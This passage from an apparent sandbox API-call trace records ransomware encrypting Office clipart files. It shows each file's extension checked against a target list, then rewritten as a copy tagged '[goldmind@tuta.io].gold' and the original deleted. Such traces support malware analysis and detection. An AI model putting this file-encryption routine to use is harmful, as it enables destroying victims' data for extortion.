lstrlenW (lpString=".7z") returned 3 [0110.505] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".dbf") returned 4 [0110.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".1cd") returned 4 [0110.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".jpg") returned 4 [0110.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".doc") returned 4 [0110.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString=".docx") returned 5 [0110.506] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0110.506] lstrlenW (lpString=".pdf") returned 4 [0110.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString=".xls") returned 4 [0110.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.506] lstrlenW (lpString=".xlsx") returned 5 [0110.506] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0110.506] lstrlenW (lpString=".ppt") returned 4 [0110.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".zip") returned 4 [0110.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.506] lstrlenW (lpString=".rar") returned 4 [0110.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString=".bz2") returned 4 [0110.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString=".7z") returned 3 [0110.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".dbf") returned 4 [0110.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".1cd") returned 4 [0110.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF") returned 63 [0110.506] lstrlenW (lpString=".jpg") returned 4 [0110.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.506] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.506] lstrlenW (lpString="J0153091.WMF") returned 12 [0110.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.538] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=8136) returned 1 [0110.538] CloseHandle (hObject=0x3c4) returned 1 [0110.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 0x20 [0110.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.567] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.567] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.568] GetLastError () returned 0x0 [0110.568] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x1fc8, lpOverlapped=0x0) returned 1 [0110.603] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1fd0, lpOverlapped=0x0) returned 1 [0110.604] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.604] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.604] SetEndOfFile (hFile=0x3b0) returned 1 [0110.604] CloseHandle (hObject=0x3b0) returned 1 [0110.604] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.604] SetEndOfFile (hFile=0x3c4) returned 1 [0110.606] CloseHandle (hObject=0x3c4) returned 1 [0110.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf")) returned 1 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString=".doc") returned 4 [0110.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString=".docx") returned 5 [0110.607] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0110.607] lstrlenW (lpString=".pdf") returned 4 [0110.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString=".xls") returned 4 [0110.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.607] lstrlenW (lpString=".xlsx") returned 5 [0110.607] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0110.607] lstrlenW (lpString=".ppt") returned 4 [0110.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString=".zip") returned 4 [0110.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.607] lstrlenW (lpString=".rar") returned 4 [0110.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString=".bz2") returned 4 [0110.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString=".7z") returned 3 [0110.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString=".dbf") returned 4 [0110.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString=".1cd") returned 4 [0110.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString=".jpg") returned 4 [0110.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.607] lstrlenW (lpString=".doc") returned 4 [0110.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.608] lstrlenW (lpString=".docx") returned 5 [0110.608] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0110.608] lstrlenW (lpString=".pdf") returned 4 [0110.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.608] lstrlenW (lpString=".xls") returned 4 [0110.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.608] lstrlenW (lpString=".xlsx") returned 5 [0110.608] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0110.608] lstrlenW (lpString=".ppt") returned 4 [0110.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.608] lstrlenW (lpString=".zip") returned 4 [0110.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.608] lstrlenW (lpString=".rar") returned 4 [0110.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.608] lstrlenW (lpString=".bz2") returned 4 [0110.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.608] lstrlenW (lpString=".7z") returned 3 [0110.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.608] lstrlenW (lpString=".dbf") returned 4 [0110.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.608] lstrlenW (lpString=".1cd") returned 4 [0110.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF") returned 63 [0110.608] lstrlenW (lpString=".jpg") returned 4 [0110.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.608] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.608] lstrlenW (lpString="J0153273.WMF") returned 12 [0110.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.609] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=20096) returned 1 [0110.609] CloseHandle (hObject=0x3c4) returned 1 [0110.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 0x20 [0110.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.609] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.609] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.612] GetLastError () returned 0x0 [0110.612] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x4e80, lpOverlapped=0x0) returned 1 [0110.617] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x4e90, lpOverlapped=0x0) returned 1 [0110.618] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.618] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.618] SetEndOfFile (hFile=0x3b0) returned 1 [0110.618] CloseHandle (hObject=0x3b0) returned 1 [0110.618] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.618] SetEndOfFile (hFile=0x3c4) returned 1 [0110.620] CloseHandle (hObject=0x3c4) returned 1 [0110.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.620] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 1 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.621] lstrlenW (lpString=".doc") returned 4 [0110.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString=".docx") returned 5 [0110.621] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0110.621] lstrlenW (lpString=".pdf") returned 4 [0110.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString=".xls") returned 4 [0110.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.621] lstrlenW (lpString=".xlsx") returned 5 [0110.621] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0110.621] lstrlenW (lpString=".ppt") returned 4 [0110.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.621] lstrlenW (lpString=".zip") returned 4 [0110.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.621] lstrlenW (lpString=".rar") returned 4 [0110.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString=".bz2") returned 4 [0110.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString=".7z") returned 3 [0110.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.621] lstrlenW (lpString=".dbf") returned 4 [0110.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.621] lstrlenW (lpString=".1cd") returned 4 [0110.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.621] lstrlenW (lpString=".jpg") returned 4 [0110.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.622] lstrlenW (lpString=".doc") returned 4 [0110.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.622] lstrlenW (lpString=".docx") returned 5 [0110.622] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0110.622] lstrlenW (lpString=".pdf") returned 4 [0110.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.622] lstrlenW (lpString=".xls") returned 4 [0110.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.622] lstrlenW (lpString=".xlsx") returned 5 [0110.622] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0110.622] lstrlenW (lpString=".ppt") returned 4 [0110.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.622] lstrlenW (lpString=".zip") returned 4 [0110.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.622] lstrlenW (lpString=".rar") returned 4 [0110.622] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.622] lstrlenW (lpString=".bz2") returned 4 [0110.622] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.622] lstrlenW (lpString=".7z") returned 3 [0110.622] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.622] lstrlenW (lpString=".dbf") returned 4 [0110.622] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.622] lstrlenW (lpString=".1cd") returned 4 [0110.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0110.622] lstrlenW (lpString=".jpg") returned 4 [0110.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.622] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.622] lstrlenW (lpString="J0153299.WMF") returned 12 [0110.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.623] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=36620) returned 1 [0110.623] CloseHandle (hObject=0x3c4) returned 1 [0110.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 0x20 [0110.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0110.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0110.623] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.623] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0110.624] GetLastError () returned 0x0 [0110.624] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x8f0c, lpOverlapped=0x0) returned 1 [0110.637] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x8f10, lpOverlapped=0x0) returned 1 [0110.637] ReadFile (in: hFile=0x3c4, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0110.638] WriteFile (in: hFile=0x3b0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.638] SetEndOfFile (hFile=0x3b0) returned 1 [0110.638] CloseHandle (hObject=0x3b0) returned 1 [0110.638] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0110.638] SetEndOfFile (hFile=0x3c4) returned 1 [0110.640] CloseHandle (hObject=0x3c4) returned 1 [0110.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.641] lstrlenW (lpString=".doc") returned 4 [0110.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.641] lstrlenW (lpString=".docx") returned 5 [0110.641] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0110.641] lstrlenW (lpString=".pdf") returned 4 [0110.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.641] lstrlenW (lpString=".xls") returned 4 [0110.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.641] lstrlenW (lpString=".xlsx") returned 5 [0110.641] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0110.641] lstrlenW (lpString=".ppt") returned 4 [0110.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.641] lstrlenW (lpString=".zip") returned 4 [0110.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.641] lstrlenW (lpString=".rar") returned 4 [0110.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.641] lstrlenW (lpString=".bz2") returned 4 [0110.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.641] lstrlenW (lpString=".7z") returned 3 [0110.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.641] lstrlenW (lpString=".dbf") returned 4 [0110.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.641] lstrlenW (lpString=".1cd") returned 4 [0110.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0110.641] lstrlenW (lpString=".jpg") returned 4 [0110.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.642] lstrlenW 